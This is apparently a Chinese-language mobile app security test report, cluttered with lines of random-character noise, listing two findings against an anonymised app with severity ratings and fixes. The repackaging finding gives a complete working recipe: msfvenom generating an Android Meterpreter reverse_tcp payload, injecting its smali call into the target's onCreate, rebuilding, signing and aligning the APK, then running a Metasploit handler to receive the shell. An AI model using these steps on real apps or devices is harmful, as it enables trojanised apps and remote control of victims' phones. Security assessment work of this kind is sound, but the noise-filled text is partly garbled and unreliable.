" L$ h$ d: `( a4 j" Z s) f; k% c7 O3 z2 V6 _0 k7 D, M
% ~% Q. t8 z# H, r; h
~7 S* r T' X; j' W( z9 u
! T1 {+ u4 l. m) s$ x" W! ^3 L9 |4 j4 c' j! S8 W& b
表1-2 测试结果 9 [' R- f6 M( u. B' |+ M
4 m8 R2 P- t+ n
5 J" R" |* Y8 D' R' M9 v& j; t0 x0 w7 d
* o& T7 r* H+ _; h) X2 p. J8 B! |; j! h: q
' U( U; ?0 Q* _3 j3 i2 t+ g9 V& {; c4 }# e" x" Q/ V
. \$ Y% S) s7 r
* N: W$ c: s, T7 J% `
" x& j+ p8 @7 E6 c7 w3 Y" Q& B9 A8 m4 a, \
2 检测结果 " k( E& j1 w! L3 C0 k
+ J. e5 d; m) g" ~$ U+ d
" K3 l3 z" o' T+ W8 O( D5 S( o' U: p* e! G" E
& r* u: C- L& a) l: {. N- u6 W
2.1 某某某 ! P7 t7 X' V1 ]0 Y- E1 Z2 ?
1 {$ [( N/ u! S8 |6 A5 _
) l+ c- U5 F4 c Q
& M. {0 O, o4 k" l. q# d; {& B
D" J, C1 s" |# m4 c
& q1 l. v1 e/ w. S1 ~ 2.1.1检测目标
* Z6 l% j* J+ V2 k) c3 R: l3 n# W" Q! f- U$ u8 c6 T; v/ o
) F" d9 y" @0 X% |2 i9 |9 o- R5 V9 D( G6 j
+ b }$ P; c$ B) E6 J( D% t+ I5 u
9 t% P, B" f* v8 U+ J7 e
目标地址: 某某某某某某APP . j$ z* k% u' b6 M" ~- J
, Q3 R+ X# K& T' u: `
8 }. ?$ i7 a; O' Z9 z) p- t, m. ~6 q9 h9 |' p# g" a- ?+ |+ C
* N! k, V; Z2 y) D" I9 a
2 r+ s i& K* G0 \3 t* y- n7 P4 [ 2.1.2检测结果 5 J! b" | Z( c: {+ Q
5 Y" ^* F$ H- x! T, ^! w7 l. |
& r. d! I; z0 r9 [) g& J$ \
5 G t: P# Q8 \4 B
: g0 W4 k/ J. \: F- [6 ]4 R5 i9 B! Z. }5 S) m) k
2.1.2.1 & F, T) f, d. Z+ D! J1 t
9 a+ f: c. v' F4 E$ F6 [7 H0 h* b0 ~ W
; t, R! W( D- e2 X2 @. k' |: O) n/ w$ u
; T4 }! i% _# [1 u/ A
) Y5 T0 c, w$ c7 C" Z7 K
漏洞链接地址:某某某某某某APP
) h( }6 O* C( \2 F0 k! f* a( c
% v' |2 N2 P+ l2 W: L8 O! f. t- g
7 L* s f$ S9 r3 l9 x5 H
+ _( j6 d; h/ j/ y. U) _6 k( C
0 X+ y6 l7 g+ v8 g. V8 W% L) E# V
3 M$ e* Q1 P8 T2 [7 {8 _- ~
8 f2 X% [% M6 j; y
9 ~# ? t& L; E! [
& ~& t/ m3 o; y d! e* G
( r9 @ l9 |. y5 S) e' R 7 _+ ?1 i( F! j1 J1 h5 L h2 ~
& Q! i& m; u9 V( ]3 q
漏洞分析及取证:
7 Y' F. O0 h5 W. q7 o4 n+ ~! T: ? H7 j
/ z7 k: a' l4 J- Z7 @
+ m$ t( E5 P( w5 S1 n2 k- h
4 G2 P9 @1 I! ^
% q- R& w c; ~& e; `* c& K7 } 通过androidkiiler反编译,发现app未进行安全加固, Activity 为com.minivision.cmcc.activity.SubActivity可被劫持,复现漏洞如图: - K$ ^$ X3 Z9 m+ v+ C
: s8 O2 U+ d/ c% f8 o. X" L
4 K6 |. C6 f9 `, G& p
4 @. S- q0 K6 L r
* i: h/ \: m$ N# E8 z5 R
* }& W0 D' u) s/ R& T+ e9 O. B
, E9 Z: x1 h: y7 a; i) [3 X6 ]
" y& k8 @- k5 j% D, C, T- @
/ @( X$ ]4 k- K9 H: [
, q; t4 T0 m( E; z! k) R" N2 t
, n- w4 F" E: d; ~$ W8 n+ Z/ I; s! U' x+ ?5 ]
0 f% a0 H4 E" T4 g9 ?, i) ^& O
/ P0 Z1 `( X3 h* A
3 o+ Y0 H- P2 f* N8 Z3 H* f7 E# w- H, y5 g2 F$ }: ]
6 N( v* T0 T' h5 ^8 Y+ B; T# d7 D, |+ P; b+ ^
5 a# V9 A( m1 v4 i+ X _' `+ f' u: Z
& | P4 V$ j$ Q# u
8 \) R9 ?5 [+ r4 G* @; i
+ I" T7 O0 T) S9 C% d3 w- |
) ]1 `! d: P( G- E0 C
5 F& a" T2 ^" H7 @! K6 |7 y
$ w1 B0 _8 ?4 S
" e! ^: p1 \+ t+ B9 ]( M
, A9 k- _ x1 N( N/ e) t# `$ k/ y
/ I* W3 f y. j" d' u
1 {4 H, \$ J) [. w2 q
) H. z% @5 g) u& N6 [- U, U+ g3 u
, l0 y' @1 j+ W$ p6 }( B( _' g
9 |* \" l k7 U- { ]
T9 j$ @) ^ s/ t
% D! e6 z6 o* j# ^0 [ 8 P1 w: y" r5 X: r6 J
4 s/ X8 c& j% r+ d+ M( r9 F2 }
漏洞危害:高 ! r& n0 i: Y: p) U' ^: l1 I' \
9 k* W; k9 T0 M6 h9 p- A$ g" q+ j
. r' v: N" c. I7 @7 I9 u
$ m" e* T+ n9 Y0 n- O* X
/ E& \$ `- A% \1 t
7 J8 a! M7 l* t1 ]; S ) p; h4 d. N0 F5 k8 t3 j- o
* h3 r% _, i T. a: e9 h2 g4 q6 l
4 ?. ^- U N* ~: Q1 \/ J. {% u: _" i! K% \, \
1 ?& r9 B4 g" b8 @1 Q
1 \$ o; h( O; Q! K, y! d3 }: n $ P6 L3 j1 ^! I2 U4 r5 a/ l
, x8 r& @( y4 t
. k3 f2 f0 y( j" l& Z' m9 C1 ~/ [8 W4 I2 w
严重程度
7 k) a2 ~9 K$ y9 ?3 t. h) O* @" _6 F
) M2 ^8 E" w6 ^* A2 A0 x9 q
, {0 l! [4 K5 b% c1 r0 }, P |
* R- R; |' U, K* W1 ^, t, Y( e. A4 d: T! d
7 H9 ^7 `" C0 t" J% u2 }+ ~" Q! e$ ]- K" g5 n
+ n7 r* h- d# T/ T9 S" E; r; u2 V/ t) \% s
高 & q6 X! A4 r6 D* ]9 M
* l& W ^5 a+ Z9 N
8 [% z; {- D' G1 ~ p% w# |
4 F4 f& G# ?" o: D! ^4 f& f
|
6 l* W ~5 C( S" J" O' N
9 C k; S! j) @) p( X: P3 P
; D+ U' B3 X9 H" e2 @/ Q* G- u+ p" K7 l1 c
1 o' u. {9 y% B/ y: r: r" F* b% d0 M. x( ^2 I8 {+ ~
■
- p1 n( J2 ]& y3 e l* O" b
; b4 n! m! w( u9 Z1 L' _( S, F
/ A0 @; p/ W/ E! G/ t0 t6 H( y$ X1 T9 G. D7 {8 e: J
| 1 Y7 x: x* |! }! {0 Q
& E! c1 U6 l% _$ h, k! E- \' m
; ~( \. ^/ s# R& E4 j& C4 n+ F3 P) y' z
/ O, F- t+ D! k1 B
% X+ c7 J2 l) }1 _ 中 5 @% d. K' Y. S7 g! p6 y
$ N& F" | C ^$ g- P
- x6 H8 C4 h6 }' [# f E5 ?4 a% ]9 O& w" r4 ^1 O
|
- U/ j9 H' w! P0 N% r* R1 M$ A2 _6 c) ~( j; x% j- ]
% u. L7 J$ D: t2 ^0 h8 K1 P
7 g+ E0 L3 b9 s s3 x$ ~ 8 A) d; r# u) E; W3 d8 z
5 W0 _) f6 X& c+ N, E
9 L% U8 x4 P6 X
+ O8 ~0 n* C" ?1 |" Z- b7 O l
; I7 |2 q6 A5 f7 e. a' V) X5 r/ @2 R4 o: ~2 j' i9 J6 {
|
- B! C& F4 t1 P/ K j
6 V6 ? I. W# b. Q# V7 g/ C8 v
& H9 k3 A/ \- `! y3 d
2 T8 {9 {/ j$ u) c" x+ i/ O , r6 F. G6 y; H6 u4 v
- p* r, V/ u, K3 D. D" p: n( ^ y 低 ) h: V- v! ~$ l4 ?. Q: R
* {; F6 _, G- b
4 g7 ~+ h: s5 E% |$ i: t5 |: q! m9 {2 O$ T5 ^: P1 L* I, r% g
| ' O1 S! d! W2 D9 K3 S+ l! `" [
( X, c0 p2 J9 k1 }3 P5 P7 A5 T . I2 i8 @: i, c# \- \" p
" I1 S$ m5 g4 ?; ^. ~- a- Q
2 j; J# M" i# v, l ^! c8 W `6 F2 G$ s
/ s* @) _- c/ \1 \* Y
3 Y' b- ?. o- ]" p8 b* P # x, Z* w% c: c( Y5 } r) \
$ v" j/ [- L E5 v. Z. G7 k
|
& a" U: i+ v% Z$ ~! F0 V/ K5 I2 Y- T% v% g- c: l
% H- x4 t. j/ E, x+ s0 e5 ?
: o- T9 P; Q) g
" N( o; g2 \1 F1 \' x
6 Y. r. |' z- M( D
1 m7 Q. k1 ?+ B! ~$ b% D/ t
/ [- v/ r$ T! ?( f! `1 O/ E
; W6 H' |; t/ o, f2 H( q8 x4 m9 d8 X; P. F: ]+ U/ W( s
' `! z& c% T" G. b" q) |+ L: N T, k
: S: O7 R, ]3 E$ k9 w, x9 ?$ G' Y0 ^: Z' H* q o% ^9 a/ S6 C3 `
: A: ?# g6 a" e" d6 l+ A5 S
, W% [+ Q+ a, `& N- c
; O# ~0 y- u1 M; l+ M
9 A z, k! A- s6 }) e3 M 修复方法:在 APP 的 Activity 界面(也就是 MainActivity)中重写 onKeyDown 方法和 onPause 方法,当其被覆盖时,就能够弹出警示信息。判断程序进入后台是不是由用户自己触发的(触摸返回键或 HOME 键),如果是用户自己触发的则无需弹出警示,否则弹出警示信息。 4 E1 ^4 F8 e, g& f. D4 d& H
1 a6 x$ q5 k6 G3 I. j# @; G" V. r5 _
, J; A5 @+ Q& r& ^' D, `3 x3 f' X3 a, U& V" ?7 u: t) O
: g6 W$ a3 l/ q2 q; p" q7 E* K8 v9 U2 U
4 c; {/ z( L% v8 x# \) z
" P# p: q* V6 O
. r Z0 W1 z1 G- O. C% U; W0 J' h. Q) Y
$ i' u$ ~. _2 O
4 m4 C/ I1 e" j6 P3 b6 O7 b
2 ~" e/ ?. _& j' J
# q- P1 |: f8 `# K # ]3 }$ a) ?( E5 o1 u3 l% i. e
. f) H3 j* }6 J8 T" A: a' T
0 J$ g0 t+ c0 g5 }( E6 C% c$ k
+ p: @* q+ W x7 h( w6 V
3 ]6 y4 x+ ]5 v4 S4 d6 o$ q% E6 Z5 K; ^. G/ b0 j3 i1 r) g3 T
2.1.2.2 , T3 V/ a x% p; ?
. k% D" ~: ^" B
* l" u; n: ?; }2 V2 k9 z- X
! R' @2 p; _; }
6 w" [/ g3 Q- K0 e. q- I5 e4 I( U
4 Q& n7 t- _+ o8 X# I. I 漏洞链接地址:某某某某某某APP 1 l' m( i+ M! M: t8 c- K
" I- q: ^. F' L- m9 ?- F( K+ [( s( F
6 w" h7 Y% q( ]6 U; b, i; ]" Y1 g/ M+ O' k! k' u5 U* A
( ]1 w1 f+ @5 B3 M7 C. X+ B9 o4 w; K. z
漏洞分析及取证:
) v/ G8 r3 ^. C5 j6 {+ {0 g/ H- n3 L( `$ ]* y9 C, d1 g
+ ]( V/ g2 g w) a0 U
0 ?6 E) V. |; G$ q# P0 J+ n " a/ d5 Q2 A( T
/ x4 w$ u: S. U/ I
通过反编译,发现程序未加壳加密,可直接反编译获取源码,经过测试可修改app代码捆绑木马或者植入广告等操作,复现详细方法如下: 3 P- W2 d {, h
* q$ z& u1 F$ X% A
2 G, [/ Q- x) T
# r* [7 F/ |2 o- D9 J+ U - `4 d( l& M& [- d- w
: V* v% g* J% U1 q' p 用Metasploit 生成木马 apk a' x9 ?$ M) i% p$ F
4 n7 J5 B6 t/ g8 @
( Q4 Q% v0 U& X% o6 ~3 h
! }! \$ v9 q8 N" i # N2 Y0 p; r* s. P3 @
. K* `5 A0 l7 B8 ~8 N9 w* {
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.xxx.x.x LPORT=4444 R > cockhorse.apk 9 R& O* _9 |6 a1 u" g. g7 n
1 b. c. E5 U/ j) f/ I4 p# K; H
% K0 O1 Y( {8 \% o8 w
& c& d$ _. a6 D, a! O ' N; C5 W/ @, X( r6 C
/ z3 w+ o& n! d
反编译目标apk和木马apk
) | R3 ]# D2 Y! R2 j" U; {0 j0 V' z; c ~; o4 t
7 t, x/ D' K6 h7 M' M% B) v, t7 C, _) q" Q
7 n! _1 K! f2 T; t! x4 C$ G
/ z4 |- {8 K! q1 P apktool d target.apk
9 E# i- |' m# _3 g9 A/ M3 D9 Q$ i1 e" Y: h" z9 z
apktool d cockhorse.apk
0 e2 N3 p0 q+ V7 _4 W+ X
0 ~( o* T3 d3 b; @! z D# q1 H
0 L+ x1 B3 o- `' E4 t5 B o
! F/ @2 u: N6 A; G' h
# T$ t8 |6 `6 |! w- _8 G4 r
) M$ k3 T* W' S 木马 apk 注入目标 apk
1 K3 Y- x8 |5 S8 A' v& \2 R7 J" v" W8 N& R. X$ B6 T3 D- r
' J4 Y5 R9 T, Q6 w
! J( q6 K+ S- K% l) D" Q6 K- M ' l b! M1 v/ @
# d7 C$ w+ n5 i& K, r5 x
在目标 apk 反编译生成的文件中找到启动 Activity 的 smali 文件,并在 onCreate()方法中添加如下代码:
0 z) g& D* f- Y( } U8 r4 F
( K {& u' L, O2 e" v8 m+ x
invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V
) c) ? x! l1 X; m; y* H* x
3 l9 ]1 p& I8 l i) R' h4 X
" o7 M; {, L* f- d- @/ i9 p
! W4 T% u. w. e8 {7 z) Z 2 g! w3 ]1 q' V( k
8 N+ `# W/ F; \0 Y 将木马文件 AndroidManifest.xml 中的权限放到目标文件 AndroidManifest.xml 中,去除重复 . c5 ~8 ^- B8 T1 w
- u) s6 m9 W$ d' ^- S% _
: Q+ w! e7 K3 R1 v4 K2 V
3 T# P( j7 e. n* D" R
9 x& o) Y2 i* W h: Y+ j2 Q" |
% v- E d7 b( t9 M: F 将木马文件的 smali 文件放到目标文件下,例如 com/metasploit 文件复制到目标文件 com/ 下 - V6 w3 b6 b# l
" M) C& N% w( F0 H
9 p# [( l k# v/ a, Q. C, H: G
. z$ E" U6 {3 }. e
, R9 n7 O7 n* o8 Q
+ E' ~6 V9 O6 U; W 回编译生成最终 apk
9 O$ y0 E( Q7 X
0 v+ z2 x2 N; ~& K9 D! a
! @! G* j! r8 d9 U& n- V
) k8 O' y% E' f4 `: {
: s+ S( m" R' t7 F" v9 X5 g$ M6 D- o
重新打包
9 G4 ~; A/ H1 r$ F
! k* J% q9 j& N4 p
5 L0 \5 _' G, l5 m, P. R, V& d% F
" _3 X, u' p. Q: s# z- ^ 5 c2 z' \" a, j) v" j
* Y# }$ R4 S( w% f apktool b -o repackage.apk target_app_floder 4 K: ~/ n1 P+ P5 r+ O9 V, d
4 V% ]5 W' ^0 \* {" f' | e$ b ?/ d1 ~
! D; m# i: h5 [% g% m
0 |) ?2 \0 Z+ j% e9 a
3 d% @2 A% V, {. I8 I: x! o. ^% p% G, v$ ^" |* m4 ]
创建签名文件,有的话可忽略此步骤
; \" D& Z2 g" J+ V- W+ b4 u8 {' U$ Q+ k8 N5 H
0 L8 ]6 k2 `+ `; G! N" {- s/ B
8 M t- h# j% o) h' ~. P % O l: d' H% X, _. L
U3 S1 U; l+ R0 J
keytool -genkey -v -keystore mykey.keystore -alias mykeyaliasname -keyalg RSA -keysize 2048 -validity 10000 ' U- A, ^6 `* c/ O8 Z9 M1 ?
, _3 f. i$ {! B9 x
# C1 y2 s) i' [9 V3 {7 Y4 H1 a+ M4 w- N
8 Q# Z/ J1 g1 P. a% _
4 F( E# }5 Q+ p% L$ U( H 签名,以下任选其一
/ Q2 M2 F: y! Z8 q9 w4 ~
* k. V! r$ `8 y1 R. e( b# l
" X/ X4 v* M3 z! x: U
- |0 [" u: |4 F' [3 p' e . b3 z* m9 W3 ]$ @. s9 r
" o# w' o w6 Z# k, g, J J
jarsigner 方式 0 A ]) }# a' r; d/ s; B# t
& Z3 _% M2 g/ J3 m6 E" E, T; z
* R# R& X* A ^/ q
8 _5 J: s1 {/ q l. ?: D9 c, i
* }; u1 \: ^. P8 v# q, z4 x/ T z! {- u: P3 c
jarsigner -sigalg SHA256withRSA -digestalg SHA1 -keystore mykey.keystore -storepass 你的密码 repackaged.apk mykeyaliasname
% z8 a1 \: P% P, K+ P" m
$ @: b A4 K7 Y9 x. N. I- D
6 h0 v! T6 N# W% q) L
s$ ?5 |$ z9 o
4 ?# n4 q$ M2 l
$ ]! M1 @, y, M$ x W4 ~
apksigner 方式
G5 @9 T- c# }5 v8 [- |, m* ^
' k3 @ v) W! @5 m+ ]) e4 g: j9 \8 O( u9 z% b1 e m* ]; ?" U
8 T" C3 R: ]- w i0 |2 Z
& e! q3 v Y. k$ Q- i
apksigner sign --ks mykey.keystore --ks-key-alias mykeyaliasname repackaged.apk
- D) ?/ \/ G6 B& s" S8 D4 |9 j7 C8 \& o
8 i1 y& ?( w7 o- z2 f
( c6 U) T0 \8 u. b- ^" H) d" y' J
3 M$ [" T3 m+ G' k) M
8 {+ y8 G: g) l& G0 M- o$ N( S
如需要禁用 v2签名 添加选项--v2-signing-enabled false $ ^7 {' J$ L- r5 S% ?
! a; m, Z' {4 w& j
; C1 t" a$ d& H5 T' h
* g3 K* E" ?8 ?9 C# T
5 T& B% J0 {' ?- E2 c$ C
" d5 `1 ]* m) W3 _5 w' F! ] 验证,以下任选其一
8 ?$ r+ b! j) c, e3 d4 j' C9 K* g7 Y7 a8 F
& W1 Q' K- j/ n* a9 Z& N$ u, U+ F2 l" c+ c
0 `9 T# S" ?1 f+ u0 |( x
9 j# Z$ Z! u( i/ o
jarsigner方式 " v! H% l/ ^: M% [& R: W8 k/ N
; @4 m, A* i# l1 v
; i5 o4 D3 r7 I* m! g
! _- N- Y( o6 y* r5 C+ |* Y( H " M( l- Q; L. w! R$ [; M
' f- D% _3 |6 u+ y6 k/ J jarsigner -verify repackaged.apk
3 j2 p% e+ [# W
8 T/ h$ B# g9 V4 a; V' S( U7 \
$ Y/ d6 x8 @+ |+ u( D( U+ J
6 k# `* L4 u' p9 O
; E& `' ~; [3 S. W" Z/ W/ j/ I; T0 Y: r: w H
apksigner 方式
; {5 m2 w9 O/ s# |2 i6 @# p1 P. M8 F1 @7 K6 ?
+ R9 _1 R+ G: ^# ~: q. } x: r* j3 D5 V5 x0 m3 X
* E8 R h7 M/ u- h6 F9 N) H V1 o8 ^1 h r
apksigner verify -v --print-certs repackaged.apk
8 n2 r$ S ?7 `* w+ g! e5 T" t+ [$ e* e
+ M5 {3 w. V, J- q2 D
" b. q5 Z }- C. v1 p8 A 4 |- ~) n/ G& M6 K3 T1 P
* ]" I! ?8 @8 {7 r% C% R8 N, W
keytool方式
7 V% G% J! ^4 ?3 D5 i2 w
. w5 X6 @6 K* j8 h% E! d4 z
% C: D9 ]: d" p$ k' w9 J7 G) b) @& t' G9 f( T+ I
. V% ], H. U+ R: d" m- E9 ^7 L
2 G- B( q* z* j4 [
keytool -printcert -jarfile repackaged.apk 8 E/ I- _- O% T4 j: M
. v% ~( p# u7 \# {
* l, s7 ~- L( C3 U
5 G7 T. a# x) o- Y1 {' K
4 o9 G/ M, y; V% t. [( `4 K1 l
6 f) H! X: \! H# Y- p" \) q( E 对齐 4 ^8 \2 Z! R7 n4 Y
4 D5 z+ l4 n7 D/ ^6 H( L
7 e: A Y& N6 a" Z; N2 _4 L$ _" T
0 i. T. q- e f' ~
n3 s# y3 n: a/ y
+ m8 }" {4 @1 m3 U8 i! }
字节对齐优化
4 Z& o/ x0 o9 A! O( E; _
8 R# s8 }3 t* u
. Q( p% H/ p( Z' N7 \ e- \0 z! z" B5 S5 B8 W
6 U o( J1 S: F0 o# j6 a5 \
# s9 Z( U# [, n% q: l" k* U; ] n zipalign -v 4 repackaged.apk final.apk # Q5 M2 Z- v0 ~0 M
& i* H% d7 x6 A; ?0 @0 {
6 z9 H6 s. w! t$ l7 A( J7 Z5 x& D0 O+ C- ] w
: Z, Y8 q5 o" G8 S
6 `7 |9 \8 K, u# ]2 _
检查是否对齐 1 L# e3 P9 Y$ H9 z$ I" o
$ E! v5 B% M+ N& Z" K
" ?, V) ^: X) F* J; e( S+ d4 v: V9 ~4 B4 s) |- i, d0 y
# m! z, F6 J% g, J4 @+ l
9 |% t4 m! M8 | zipalign -c -v 4 final.apk $ m1 P1 a D8 x. t4 [5 N: V
, g6 V8 p/ M* p7 T1 s
7 [$ s; \8 ]0 `% j; c/ I
' `) `( j. M+ \ 1 A7 K4 i- p& D: B
7 k0 }: q5 y$ o) s1 T5 d# P# _ 注:zipalign可以在V1签名后执行,但zipalign不能在V2签名后执行,只能在V2签名之前执行
! v2 K; U- Y* k; o7 C; N' }% \/ u6 M9 l0 `1 L- l7 K2 R1 E
8 Q3 i2 P0 S, t+ u1 y# j e3 z' _# w: i N
& k4 a) D. j o9 f- q( O/ H" ` E# t1 U" Q# [7 U p: O }$ f' M0 f
启动Metasploit控制台,配置参数等待上线 & H! Z, ^4 o' J) I- ]0 O8 |
( k+ Z* _3 x( t9 Y! T$ V# r
. E9 }. v- {& m3 e$ m+ [1 D
% ]9 X5 p5 k5 o- \1 @3 ~
/ Q# i9 \# Z; _% W1 X* g" j$ f+ X% S
在终端依次输入如下命令
. R9 d( k5 ~! Z0 f
O' S/ k' E' g5 m) H) C
, j% L, M4 n. _; `' o- b3 J0 J$ J
5 x) H& B: c- m' F1 _4 W* Q
( L6 [8 ~' J, \9 k A3 ^" J" B
) x6 e; i' |: F: ^5 A Y msfconsole * @" t( t# ]$ e% n9 c" U1 a
* z8 v d! Q- `* e9 ?, h+ [- L
" x& r# u' @+ P, X* a! j4 s& P
% ]4 M$ C) C7 K& g; W+ q
5 t. U" |1 w; ?, h& e5 _/ I' {+ _, d6 t/ R. `% o
use exploit/multi/handler
& [# b6 y/ x# {! s" L& m7 L6 T% O: Y
7 t" g9 u# w8 c5 W% d- @, |8 l8 O I7 Q- V8 M$ d- m
6 p$ o: m- m& r9 q
0 m1 D9 r9 A7 z2 h( q
set PAYLOAD android/meterpreter/reverse_tcp + i( Y" {/ J8 L8 o
/ e* ^, H, I, j/ D H0 O8 N, U
7 L+ Z3 q4 p, o) M: n
8 T$ K, w+ l3 Y0 a+ _9 D . |2 V9 F& O- Y- \; j0 q. [
/ i6 @! l- M+ { ^" a, b set LHOST 192.xxx.xx.xx
* @6 S6 n3 |% U& S# U
- c' f* x3 ?- V0 m+ r
1 m k$ G5 `6 Y( _# B% e, g
) N+ ^% i1 ?- J6 j! W& z: T+ a! v
/ r( ~6 I/ H, m! I! y4 Z' M$ c+ z# e `, j4 \ Q
set LPORT 4444
+ C+ ?4 I/ k5 k0 w7 N
0 `8 E; y$ G D& I+ T
3 H2 {1 i+ x, J' H+ w) l, C; G8 u& t& Q, t0 w2 P
$ ~6 ^" f4 U- y: s1 R) H# V
7 t$ M6 W3 F7 Z6 w! v1 |9 F
exploit & c+ Q+ Z8 ^ |$ p
# `" ~+ T" r9 H
/ v+ w/ o. r0 X, p; b" K& r. |
. a/ k7 Z8 n8 P2 U3 E5 c3 l
: f4 r+ g, d+ m% h6 o6 N0 l* ]8 P a3 A6 B6 r) q3 r
之前我们把入口放在 MainActivity 的 onCreate 方法中,当启动目标应用进入该界面,就会连接成功,如下图:
9 [- \6 F' x1 ~% n
+ K8 L6 w" ~( O3 j$ F, l) f
8 O; K7 m4 }- J6 ]6 u' l
$ Z$ i$ b( y. Z2 j* G9 p4 s $ ^9 W d8 F+ t
# n/ q' t( Q7 C! G7 m
漏洞危害:中 * G/ H6 F( H0 @$ n
. X" N, j7 w5 ?( X: G5 [
& q" ~# \, n0 P5 _! a
2 j, u! u; C5 v* B1 C/ ?9 Z/ ? ; ]/ k5 C8 `* r8 P) F7 C
. V% C) N2 Q5 D6 F$ _; ~
6 L/ U3 x' E: E* p' C$ [
- k" w# I3 ?6 `) n( F7 ^: y1 X
; h/ Q s1 @2 I$ Y- t0 s8 N% m, a4 |. D% Z, N
+ i# |$ u1 C0 z1 s g' i& w% W
' L& @5 a! D3 _: g
5 q; p5 o; F# J: J l
* ]6 s$ s: V1 {; W7 { % w3 C% u/ i4 q ~
% a3 V. u; Q1 K( c' Z2 g U- Y/ Y
/ |& O$ q9 C& [& A! d
6 |; r/ [, L( o/ S 严重程度
0 i* G7 t. T* U1 d, S. W5 U- `. g6 k6 d$ R/ U! t
; Z4 B) T/ k, K2 M& \) t) u! w
D4 P5 B7 i3 g7 v- a# y |
, |8 T7 x: @! X# [3 K. I R: G2 t9 m" M' Y2 e# }
, T8 `. M3 s8 |8 G1 Q u$ @/ u* g
* E" q3 [/ Z! [0 l
3 N R/ v: d" {. |
* L: ] f( A# C7 e; y
高 : Q% ^' r" @5 |' e
( a- U- n8 P; e0 T" m3 ]6 ?# n
3 T7 {" l* v7 i' G+ n W
2 T3 o& R3 k4 V | ; [" ^) I9 @3 r9 `
0 r5 v) M- t* P# G; n* }8 S" q , |) A% B4 `/ u- [9 `7 Y
7 c( H- q2 m/ |( G9 n: c/ U 8 i3 q! P4 Q: e6 \ C* @8 v" [6 }
9 m7 i& }% {6 n- o
■ 2 I6 r: u9 ]" l$ m
z4 B; ~ [# P; S$ l
4 g, R3 ]/ x; r1 U( p8 {
* E9 h8 W) x- z2 R6 T' U | . `+ ~- Z7 }* g4 e+ q# y! b
; ]' |5 A+ |% s7 c5 Y
/ L7 N0 o8 i5 n
$ A( q" u0 ~- F4 z2 ?
! r+ O% p6 P" X4 l: e, v( s$ @# T3 h3 @; v6 ~3 N. `# j6 k+ Z! s
中
8 Q. v& H3 V8 M' q. A. z+ S7 }% [, ~
( T3 w3 {$ r, c4 q% o/ q : u8 ?. \/ [$ b
/ e4 D* ], [, I; o |
1 d' O% q8 E P% ]4 r/ y! C3 O, l, I( P" }
& N: `3 u2 m5 q; N2 W; J0 E7 h# U
6 S1 s9 w5 p4 M/ c. H
4 p9 ]) a0 f! T; @" z# B& X/ e0 J* P; R$ b( ~! U
; `& a& _% x+ d6 O
+ n3 o& w# B7 G; f. k% r8 K* F
$ g3 [" O- o8 a2 Q3 h4 S
6 w+ s9 _8 U) n( t 4 }0 o7 t" s T7 B/ k
9 p) Z+ X5 t- C5 A% k | , g# d* d$ z6 D7 X N' n
* Z) B5 Q# W1 {) b8 p R
$ Q8 t, u: d( |* `: L. Y8 D9 ^$ D# C; o1 E# V4 H
' v$ G: `2 ^3 w" X7 ~& N9 V" G: A8 q B/ i8 i
低 - m% u) y! |7 }
" s. C _8 P! j% u# U: v
0 Y2 `# O# L$ E; H: I5 a$ v1 ?/ @ T5 R# Q
|
: T" z! r2 w) g) H! q' n0 Q( P/ m) @* d/ Y0 q# s
/ W6 [, y0 J \. ^2 {
' [( x; [/ m1 N/ ?# v* X. H
% X. {( h) O# a8 X) }7 m3 s: g( n% q$ ~5 L% W, f
( g4 Y+ |" c3 f5 @% N W; }; _) H6 E! K/ z b2 r2 _$ o
3 {9 E/ D5 }8 D+ N
, h: w/ P( g+ x4 `
* M( C3 Z5 P: r( X
9 B* K2 }! T5 g- ~9 G
| ' s- Z$ [. u" c$ P* S0 G' ]
' k3 I9 U# D, x$ ?' Z& c
$ q- O. A7 M3 A5 I% {# e w3 {1 H, p4 P/ T1 e% a
: z% N$ g# }- M) i" s7 H; _& R% N. i4 r+ [9 M1 Y* {8 ?0 @
X2 T8 M& E s" }$ W( B! o! r" f6 ^( Y7 I
1 ]0 L& z2 l# F# L
6 h; e' s; j3 {: ?# d' ^
5 v5 o$ Z6 v( j1 [
F1 r* B0 o; u
4 d7 g! G R7 R9 {' x. G8 i
( |' H- o: Q$ z
- Y/ G5 Z+ R9 \7 h+ l- [. g
z& q9 g, I# F. o$ ?* k2 k
( @% L, m Y0 l: e. D
% q4 \* y o$ Q' V1 y9 b6 c
修复方法: " T, i2 |" X& n1 W2 C% @
Y* p! Y$ \3 v& X
5 X8 @, }( |2 l+ O1 r% J) b* F/ G
, V ]; b- d& E5 U2 ~" g - u* g1 O$ M6 B& i3 p
+ X& ~- q) L: i5 s0 |. S
1.在 APP 启动时应做签名校验防止二次打包。
: B8 A+ S+ |9 D6 a: v( c8 J+ j$ Q
# q/ A6 ?1 i# I, G5 V& L7 ?0 q 2.建议采用客户端、通信和服务器端联动防御方案进行安全防御。
3 n" Q [! o# {# x; v; K" b3 a' B9 S k4 Q( s2 Z
* A/ ?! A! d3 Y
3 S. A- R2 t8 B9 c o
# P+ p' P6 L3 K: |% G
- e1 Q `2 [9 Y# ~* i( O* Q0 f
) d9 d$ `; X+ A
8 T8 r) a3 ?, ~, _$ _# j/ r+ q& p
4 Y5 b% U% }# Z; F" K. z' ^; R* s( ]7 y8 X3 n4 v& i: G
& J$ v$ ~: H. J4 P3 ~+ H) C5 S5 {# `, { G4 C! K
" A( \, E0 u8 _$ e; }5 I9 h x
3 q x' j- z! I 7 Y; C, l& X, k% K) z
U- o7 v* i9 o r* p7 Y8 k, ]
4 i5 i7 V6 ]5 J9 Y1 q, [1 q3 L% M# @$ k! u5 ~9 j/ V
% a( o. ]7 _7 S6 A7 J
# p+ W K9 e6 \$ B, x8 g0 P; \